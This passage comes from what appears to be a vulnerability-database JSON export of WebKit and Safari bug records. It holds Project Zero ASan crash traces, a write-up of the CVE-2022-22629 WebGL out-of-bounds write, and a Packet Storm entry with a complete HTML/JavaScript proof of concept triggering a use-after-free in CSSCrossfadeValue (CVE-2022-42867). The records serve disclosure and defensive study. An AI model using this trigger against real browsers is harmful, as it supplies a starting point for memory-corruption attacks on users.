0x15ba6f543 in WebCore::RenderObject::destroy()+0x113 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x59c9543)\n    #9 0x15ba6f42b in WebCore::RenderObjectDeleter::operator()(WebCore::RenderObject*) const+0xb (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x59c942b)\n    #10 0x15bd1bffe in std::__1::unique_ptr<WebCore::RenderObject, WebCore::RenderObjectDeleter>::reset(WebCore::RenderObject*)+0x4e (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c75ffe)\n    #11 0x15bd1bfa8 in std::__1::unique_ptr<WebCore::RenderObject, WebCore::RenderObjectDeleter>::~unique_ptr()+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c75fa8)\n    #12 0x15bd0dfc8 in std::__1::unique_ptr<WebCore::RenderObject, WebCore::RenderObjectDeleter>::~unique_ptr()+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c67fc8)\n    #13 0x15bd0da89 in WebCore::RenderTreeBuilder::destroy(WebCore::RenderObject&, WebCore::RenderTreeBuilder::CanCollapseAnonymousBlock)+0x1e9 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c67a89)\n    #14 0x15bd155ce in WebCore::RenderTreeBuilder::destroyAndCleanUpAnonymousWrappers(WebCore::RenderObject&)+0x28e (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c6f5ce)\n    #15 0x15bd3b11a in WebCore::RenderTreeUpdater::tearDownRenderers(WebCore::Element&, WebCore::RenderTreeUpdater::TeardownType, WebCore::RenderTreeBuilder&)::$_6::operator()(unsigned int) const+0x2da (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c9511a)\n    #16 0x15bd38f89 in WebCore::RenderTreeUpdater::tearDownRenderers(WebCore::Element&, WebCore::RenderTreeUpdater::TeardownType, WebCore::RenderTreeBuilder&)+0x389 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c92f89)\n    #17 0x15bd3a7bc in WebCore::RenderTreeUpdater::tearDownRenderers(WebCore::Element&)+0x10c (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c947bc)\n    #18 0x159af2418 in WebCore::destroyRenderTreeIfNeeded(WebCore::Node&)+0x48 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3a4c418)\n    #19 0x159af223f in WebCore::ContainerNode::removeBetween(WebCore::Node*, WebCore::Node*, WebCore::Node&)+0xdf (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3a4c23f)\n    #20 0x159aedc60 in WebCore::ContainerNode::removeChild(WebCore::Node&)+0x580 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3a47c60)\n    #21 0x159d2f8f7 in WebCore::Node::remove()+0x27 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3c898f7)\n    #22 0x156cf5939 in WebCore::jsElementPrototypeFunction_removeBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSElement*)::'lambda'()::operator()() const+0x29 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc4f939)\n    #23 0x156cf57a2 in JSC::JSValue WebCore::toJS<WebCore::IDLUndefined, WebCore::jsElementPrototypeFunction_removeBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSElement*)::'lambda'()>(JSC::JSGlobalObject&, JSC::ThrowScope&, WebCore::jsElementPrototypeFunction_removeBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSElement*)::'lambda'()&&)+0xe2 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc4f7a2)\n    #24 0x156cf5558 in WebCore::jsElementPrototypeFunction_removeBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSElement*)+0x1e8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc4f558)\n    #25 0x156cf52eb in long long WebCore::IDLOperation<WebCore::JSElement>::call<&(WebCore::jsElementPrototypeFunction_removeBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSElement*)), (WebCore::CastedThisErrorBehavior)0>(JSC::JSGlobalObject&, JSC::CallFrame&, char const*)+0xfb (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc4f2eb)\n    #26 0x156ce4aa8 in WebCore::jsElementPrototypeFunction_remove(JSC::JSGlobalObject*, JSC::CallFrame*)+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc3eaa8)\n    #27 0x57595d00c037  (<unknown module>)\n    #28 0x13c7335cb in llint_entry+0x1d179 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0xfbc5cb)\n    #29 0x13c716248 in vmEntryToJavaScript+0xd7 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0xf9f248)\n\npreviously allocated by thread T0 here:\n    #0 0x10c872760 in __sanitizer_mz_malloc+0xa0 (/Users/hacksonmacs/Downloads/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/14.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x4b760)\n    #1 0x7ff80c0f9aba in _malloc_zone_malloc+0x7c (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x1daba)\n    #2 0x13b9fb238 in bmalloc::DebugHeap::malloc(unsigned long, bmalloc::FailureAction)+0x28 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x284238)\n    #3 0x13b9fbb68 in pas_debug_heap_malloc+0x38 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x284b68)\n    #4 0x13b9f9db1 in pas_debug_heap_allocate+0x21 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x282db1)\n    #5 0x13b9f46b9 in bmalloc_heap_config_specialized_try_allocate_common_impl_slow+0x549 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x27d6b9)\n    #6 0x13b9c60f9 in bmalloc_iso_allocate_impl_impl_slow+0x29 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x24f0f9)\n    #7 0x13b99a123 in bmalloc_iso_allocate_impl_casual_case+0x233 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x223123)\n    #8 0x13b999ee8 in bmalloc_iso_allocate_casual+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x222ee8)\n    #9 0x13ba03673 in bmalloc::api::isoAllocate(__pas_heap_ref&)+0x1a3 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x28c673)\n    #10 0x15bbcae90 in bmalloc::api::IsoHeap<WebCore::RenderMathMLToken>::allocate()+0x10 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5b24e90)\n    #11 0x15bbcae68 in WebCore::RenderMathMLToken::operator new(unsigned long)+0x18 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5b24e68)\n    #12 0x15ab5c5fd in std::__1::unique_ptr<WebCore::RenderMathMLToken, WebCore::RenderObjectDeleter> WebCore::createRenderer<WebCore::RenderMathMLToken, WebCore::MathMLTokenElement&, WebCore::RenderStyle>(WebCore::MathMLTokenElement&, WebCore::RenderStyle&&)+0x1d (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x4ab65fd)\n    #13 0x15ab5c56c in WebCore::MathMLTokenElement::createElementRenderer(WebCore::RenderStyle&&, WebCore::RenderTreePosition const&)+0xbc (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x4ab656c)\n    #14 0x15bd392f1 in WebCore::RenderTreeUpdater::createRenderer(WebCore::Element&, WebCore::RenderStyle&&)+0x201 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c932f1)\n    #15 0x15bd37550 in WebCore::RenderTreeUpdater::updateElementRenderer(WebCore::Element&, WebCore::Style::ElementUpdate const&)+0x2b0 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c91550)\n    #16 0x15bd36bdc in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&)+0x48c (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c90bdc)\n    #17 0x15bd362cf in WebCore::RenderTreeUpdater::commit(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >)+0x23f (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x5c902cf)\n    #18 0x159b53142 in WebCore::Document::updateRenderTree(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >)+0x1a2 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3aad142)\n    #19 0x159b53b24 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType)+0x8e4 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3aadb24)\n    #20 0x159b55047 in WebCore::Document::updateStyleIfNeeded()+0x197 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3aaf047)\n    #21 0x159b82553 in WebCore::Document::finishedParsing()+0x2e3 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3adc553)\n    #22 0x15a3fc4d4 in WebCore::HTMLConstructionSite::finishedParsing()+0x24 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x43564d4)\n    #23 0x15a465cfd in WebCore::HTMLTreeBuilder::finished()+0x1d (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x43bfcfd)\n    #24 0x15a404d07 in WebCore::HTMLDocumentParser::end()+0x17 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x435ed07)\n    #25 0x15a402a28 in WebCore::HTMLDocumentParser::attemptToRunDeferredScriptsAndEnd()+0x38 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x435ca28)\n    #26 0x15a402940 in WebCore::HTMLDocumentParser::prepareToStopParsing()+0x110 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x435c940)\n    #27 0x15a404d4f in WebCore::HTMLDocumentParser::attemptToEnd()+0x3f (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x435ed4f)\n    #28 0x15a404de9 in WebCore::HTMLDocumentParser::finish()+0x29 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x435ede9)\n    #29 0x15a9297c0 in WebCore::DocumentWriter::end()+0x1a0 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x48837c0)\n\nSUMMARY: AddressSanitizer: heap-use-after-free (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35412bf) in WebCore::CSSCrossfadeValue::crossfadeChanged()+0x28f\nShadow bytes around the buggy address:\n  0x1c22000198c0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00\n  0x1c22000198d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x1c22000198e0: 00 00 fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x1c22000198f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x1c2200019900: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa\n=>0x1c2200019910: fa fa fa fa fa fa fa fa[fd]fd fd fd fd fd fd fd\n  0x1c2200019920: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x1c2200019930: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa\n  0x1c2200019940: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x1c2200019950: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa\n  0x1c2200019960: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==704==ABORTING\n\nThis bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. **The scheduled deadline is 2022-12-21**. For more details, see the Project Zero vulnerability disclosure policy: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html\n\n\nRelated CVE Numbers: CVE-2022-42867.\n"
    },
    {
      "id": "480511F0-20B1-50CD-88F2-41A9E04C69A0",
      "type": "githubexploit",
      "bulletinFamily": "exploit",
      "title": "Exploit for Out-of-bounds Write in Apple Macos",
      "description": "# **CVE-2022-22629 Proof of concept**\n\nThis post is about the poc for the WebGL bug that was patched in Safari 15.4 security updates.\n\n![bug](./img/bug.png)\n\nIf you want to learn in detail about how WebGL works, you can use this official resource since we are going to discuss bug specific details here :\n\nhttps://webglfundamentals.org/webgl/lessons/webgl-how-it-works.html\n\n**This poc is not about how to get the primitives to exploit this bug, we will just discuss about vulnerablity analysis and how to crash the webcontent : )**\n\n\n## Introduction\n\nWebGL is a javascript API that is used in browsers to render 2D and 3D graphics. It uses ANGLE component as its primary WebGL backend, significantly improving compatibility with other browsers, and enabling a conformant WebGL 2.0 in WebKit. WebGL offers a lot of extensions for a developer to perform the rendering with optimisations. So, we will look into the extension of which we are concerned about.\n\n## Extensions in WebGL\n\n![extension](./img/extensions.png)\n\nSo, this api provides several extensions for different intents. The bug we are going to discuss is in EXT_. \n\nYou can read more in detail about the extensions from here : \n\nhttps://developer.mozilla.org/en-US/docs/Web/API/WebGL_API/Using_Extensions\n\n\nAnyway, let's move towards the bug :) \n\n## Vulnerability Analysis\n\n### WEBGL_multi_draw extension\n\nThe WEBGL_multi_draw extension is part of the WebGL API and allows to render more than one primitive with a single function call. This can improve a WebGL application's performance as it reduces binding costs in the renderer and speeds up GPU thread time with uniform data.\n\n\n> This extension exposes the `Multi*` draw call variants in `EXT_multi_draw_arrays` functionality in addition to the vertex shader builtin `gl_DrawID` exposed by `ARB_shader_draw_parameters` for OpenGL.\n>\n> These functions behave identically to the standard functions `DrawArrays()` and `DrawElements()` except they handle multiple lists of vertices in one call. Their main purpose is to allow one function call to render more than one primitive such as triangle strip, triangle fan, etc.\n> \n> Additionally, this extension adds a further built-in variable, `gl_DrawID` to the shading language. This variable contains the index of the draw currently being processed by a `Multi*` variant of a drawing command.\n\nhttps://github.com/WebKit/WebKit/blob/a7f8eacef337cb6691dca0b742d00f80d4f3dd0f/Source/ThirdParty/ANGLE/extensions/ANGLE_multi_draw.txt\n\nYou can read more details about the extension here : \n\nhttps://registry.khronos.org/webgl/extensions/WEBGL_multi_draw/\n\nThis extension is similar to the webgl api `WebGLRenderingContext.drawArrays()` and `WebGLRenderingContext.drawElements()` etc, that renders primitives from array data. The only difference is that we can render using this extension using multiple arrays. \n\nWe can perform these operations using this extension: [1]\n\n1. `ext.multiDrawArraysWEBGL()` renders multiple primitives from array data (identical to multiple calls to `drawArrays`).\n\n2. `ext.multiDrawElementsWEBGL()` renders multiple primitives from element array data (identical to multiple calls to `drawElements`).\n\n3. `ext.multiDrawArraysInstancedWEBGL()` renders multiple primitives from array data (identical to multiple calls to `drawArraysInstanced`).\n\n4. `ext.multiDrawElementsInstancedWEBGL()` renders multiple primitives from element array data (identical to multiple calls to `drawElementsInstanced`).\n\n### Patch\n\n![patch](./img/patch.png)\n\nhttps://github.com/WebKit/WebKit/commit/c087ca07c9125093ca62e8e44024b738bb7d46dc\n\n**The vulnerability exist only from Safari 15.0 to 15.3 because this extension is only supported in  Safari 15 (ios) in case of apple.**\n\n\nThe patch is very easy to understand and it clearly states that it is a heap buffer overflow while rendering. This function is called here in WebGLMultiDraw.cpp in all the operations we mentioned above [1]. Let's understand what's happening before this function being called. We may look into one of the above function's implementation : \n\n\n\n```cpp\nvoid WebGLMultiDraw::multiDrawArraysWEBGL(GCGLenum mode, Int32List firstsList, GCGLuint firstsOffset, Int32List countsList, GCGLuint countsOffset, GCGLsizei drawcount)\n{\n    if (!m_context || m_context->isContextLost())\n        return;\n\n    if (!validateDrawcount(\"multiDrawArraysWEBGL\", drawcount)\n        || !validateOffset(\"multiDrawArraysWEBGL\", \"firstsOffset out of bounds\", firstsList.length(), firstsOffset, drawcount)\n        || !validateOffset(\"multiDrawArraysWEBGL\", \"countsOffset out of bounds\", countsList.length(), countsOffset, drawcount)) {\n        return;\n    }\n\n    m_context->graphicsContextGL()->multiDrawArraysANGLE(mode, makeSpanWithOffset(firstsList, firstsOffset), makeSpanWithOffset(countsList, countsOffset), drawcount);\n}\n```\n\n\nIn JS, the function specifications are defined like this :\n\n```cpp\nvoid ext.multiDrawArraysWEBGL(mode,\n    firstsList, firstsOffset,\n    countsList, countsOffset,\n    drawCount);\n```\n\n- `mode`:\n  - `gl.POINTS`: Draws a single dot.\n  - `gl.TRIANGLES`: Draws a triangle for a group of three vertices.\n\n- `firstsList`:\n\t- An Int32Array or Array (of GLint) specifying a list of starting indices for the arrays of vector points.\n\n- `firstsOffset`:\n\t- A GLuint defining the starting point into the firstsLists array.\n\n- `countsList`:\n\t- An Int32Array or Array (of GLsizei) specifying a list of numbers of indices to be rendered.\n\n- `countsOffset`:\n\t- A GLuint defining the starting point into the countsList array.\n\n- `drawCount`:\n\t- A GLsizei specifying the number of instances of the range of elements to execute.\n\n**Looking into the implementation, we can see that we can control the offset and drawcount to draw mode past the size of buffer : )**\n\nSo, our POC goes [here](https://github.com/parsdefense/CVE-2022-22629/blob/main/poc.js) ...\n\n\n## Test\n\n![11pro](./img/11pro.png)\n\nAs you can see, our webpage just crashed since the `validateOffset()` called in `multiDrawArraysWEBGL()` doesn't check if our `firstsOffset` is in the range of `[0, size-drawcount]` and we are drawing past the size of of actual buffer. The function call `m_context->graphicsContextGL()->multiDrawArraysANGLE()` is implemented in third party components for WebKit known as ANGLE and it doesn't have any checks before rendering, so we crash writing some bad value to the memory region. \n\n\nFYI, `multiDrawArraysANGLE()` pseudocode works like this: \n```javascript\n      for(i=0; i<drawcount; i++) {\n        if (*(counts+i)>0) DrawArrays(mode, *(firsts+i), *(counts+i));\n      }\n```\n\nAnd with the patch applied, it won't render anything and return false through the `validateOffset()` function call:\n\n![12pro](/img/12pro.png)\n\njs) ...\n\n\n## Credits\n\nPARS Defense Team\n\nWe're hiring new team members, contact us: info[at]parsdefense.com\n",
      "published": "2022-09-09T17:21:27",
      "modified": "2023-03-14T19:47:23",
      "cvss": {
        "score": 0.0,
        "vector": "NONE"
      },
      "cvss2": {},
      "cvss3": {
        "cvssV3": {
          "version": "3.1",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "attackVector": "NETWORK",
          "attackComplexity": "LOW",
          "privilegesRequired": "NONE",
          "userInteraction": "REQUIRED",
          "scope": "UNCHANGED",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9
      },
      "href": "https://github.com/parsdefense/CVE-2022-22629",
      "cvelist": [
        "CVE-2022-22629"
      ],
      "lastseen": "2023-05-02T16:50:14"
    },
    {
      "id": "76BC62F2-FC4D-5B61-9FA5-5CB78C03E850",
      "type": "githubexploit",
      "bulletinFamily": "exploit",
      "title": "Exploit for Use After Free in Apple Ipados",
      "description": "# CVEREV3\nTesting CVE-2021-30858 Rev3\noriginal post : https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-30858.html\n",
      "published": "2021-10-14T01:51:39",
      "modified": "2021-11-02T22:09:15",
      "cvss": {
        "score": 6.8,
        "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"
      },
      "cvss2": {
        "cvssV2": {
          "version": "2.0",
          "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
          "accessVector": "NETWORK",
          "accessComplexity": "MEDIUM",
          "authentication": "NONE",
          "confidentialityImpact": "PARTIAL",
          "integrityImpact": "PARTIAL",
          "availabilityImpact": "PARTIAL",
          "baseScore": 6.8
        },
        "severity": "MEDIUM",
        "exploitabilityScore": 8.6,
        "impactScore": 6.4,
        "acInsufInfo": false,
        "obtainAllPrivilege": false,
        "obtainUserPrivilege": false,
        "obtainOtherPrivilege": false,
        "userInteractionRequired": true
      },
      "cvss3": {
        "cvssV3": {
          "version": "3.1",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "attackVector": "NETWORK",
          "attackComplexity": "LOW",
          "privilegesRequired": "NONE",
          "userInteraction": "REQUIRED",
          "scope": "UNCHANGED",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9
      },
      "href": "https://github.com/KameleonReloaded/CVEREV3",
      "cvelist": [
        "CVE-2021-30858"
      ],
      "lastseen": "2022-03-23T19:05:37"
    },
    {
      "id": "PACKETSTORM:170516",
      "type": "packetstorm",
      "bulletinFamily": "exploit",
      "title": "WebKit CSSCrossfadeValue::crossfadeChanged Use-After-Free",
      "description": "",
      "published": "2023-01-13T00:00:00",
      "modified": "2023-01-13T00:00:00",
      "cvss": {
        "score": 0.0,
        "vector": "NONE"
      },
      "cvss2": {},
      "cvss3": {
        "cvssV3": {
          "version": "3.1",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "attackVector": "NETWORK",
          "attackComplexity": "LOW",
          "privilegesRequired": "NONE",
          "userInteraction": "REQUIRED",
          "scope": "UNCHANGED",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9
      },
      "href": "https://packetstormsecurity.com/files/170516/WebKit-CSSCrossfadeValue-crossfadeChanged-Use-After-Free.html",
      "cvelist": [
        "CVE-2022-42867"
      ],
      "lastseen": "2023-01-13T15:51:58",
      "sourceHref": "https://packetstormsecurity.com/files/download/170516/GS20230113150343.txt",
      "sourceData": "`WebKit: Use-after-free of RenderMathMLToken in CSSCrossfadeValue::crossfadeChanged  \n  \nThere is a use-after-free of a RenderMathMLToken object in CSSCrossfadeValue::crossfadeChanged.   \n  \nCSSCrossfadeValue extends CSSImageGeneratorValue. CSSImageGeneratorValue keeps a HashCountedSet of clients (m_clients) of the image. The RenderMathMLToken object is one of these clients. When the RenderMathMLToken object is freed, I think it should be removed from the client list via RenderElement::willBeDestroyed, but this isn't occurring. CSSCrossfadeValue::crossfadeChanged will then iterate through the client list which includes the dangling pointer to the RenderMathMLToken object, thus causing the use-after-free.   \n  \nVulnerability confirmed on ASAN build of WebKit on OSX and WebkitGTK as of commit fe4b1d3bf61e8999ccd68da789905e92f8ffc9e3  \n  \n=================  \nProof of Concept   \n=================  \n<!-- saved from url=(0014)about:internet -->  \n<html>  \n<style>  \n.class1 { shape-outside: url(data:image/gif;base64,R0lGODlhEAAQAMQAAORHHOVSKudfOulrSOp3WOyDZu6QdvCchPGolfO0o/XBs/fNwfjZ0frl3/zy7////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAkAABAALAAAAAAQABAAAAVVICSOZGlCQAosJ6mu7fiyZeKqNKToQGDsM8hBADgUXoGAiqhSvp5QAnQKGIgUhwFUYLCVDFCrKUE1lBavAViFIDlTImbKC5Gm2hB0SlBCBMQiB0UjIQA7); }  \nmsub::first-line { background-image: cross-fade(url(abc), url(data:image/gif;base64,R0lGODlhEAAQAMQAAORHHOVSKudfOulrSOp3WOyDZu6QdvCchPGolfO0o/XBs/fNwfjZ0frl3/zy7////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAkAABAALAAAAAAQABAAAAVVICSOZGlCQAosJ6mu7fiyZeKqNKToQGDsM8hBADgUXoGAiqhSvp5QAnQKGIgUhwFUYLCVDFCrKUE1lBavAViFIDlTImbKC5Gm2hB0SlBCBMQiB0UjIQA7), 50%); }  \n</style>  \n<script>  \nfunction trigger() {  \ndocument.getElementsByTagName(\\\"style\\\")[0].appendChild(document.createElement(\\\"a\\\"));   \nsetTimeout( () => {  \nmsubEle.prepend(\\\"1\\\");  \nmathEle.focus() // This can be a few different calls. setSelectionRange also worked  \nmathEle.remove();  \n}, 0);  \n}  \n</script>  \n<body onload=trigger()>  \n<math id=\\\"mathEle\\\" class=\\\"class1\\\">  \n<msub id=\\\"msubEle\\\">  \n<mi></mi>  \n</msub>  \n</math>  \n</body>  \n</html>  \n===================  \nASAN  \n===================  \n=================================================================  \n==704==ERROR: AddressSanitizer: heap-use-after-free on address 0x6110000cc8c0 at pc 0x0001595e72c0 bp 0x7ff7b3b162f0 sp 0x7ff7b3b162e8  \nREAD of size 8 at 0x6110000cc8c0 thread T0  \n==704==WARNING: failed to spawn external symbolizer (errno: 2)  \n==704==WARNING: Failed to use and restart external symbolizer!  \n#0 0x1595e72bf in WebCore::CSSCrossfadeValue::crossfadeChanged()+0x28f (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35412bf)  \n#1 0x1595e7018 in WebCore::CSSCrossfadeValue::SubimageObserver::imageChanged(WebCore::CachedImage*, WebCore::IntRect const*)+0x28 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3541018)  \n#2 0x15aae8504 in WebCore::CachedImage::notifyObservers(WebCore::IntRect const*)+0x114 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x4a42504)  \n#3 0x15aaeb6ad in WebCore::CachedImage::finishLoading(WebCore::FragmentedSharedBuffer const*, WebCore::NetworkLoadMetrics const&)+0x1cd (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x4a456ad)  \n#4 0x15aa664ef in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&)+0x62f (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x49c04ef)  \n#5 0x15aa5ab0e in auto WebCore::ResourceLoader::loadDataURL()::$_3::operator()<std::__1::optional<WebCore::DataURLDecoder::Result> >(std::__1::optional<WebCore::DataURLDecoder::Result>)::'lambda'()::operator()() const+0x20e (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x49b4b0e)  \n#6 0x15aa5a7ec in WTF::Detail::CallableWrapper<auto WebCore::ResourceLoader::loadDataURL()::$_3::operator()<std::__1::optional<WebCore::DataURLDecoder::Result> >(std::__1::optional<WebCore::DataURLDecoder::Result>)::'lambda'(), void>::call()+0xc (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x49b47ec)  \n#7 0x1560c728e in WTF::Function<void 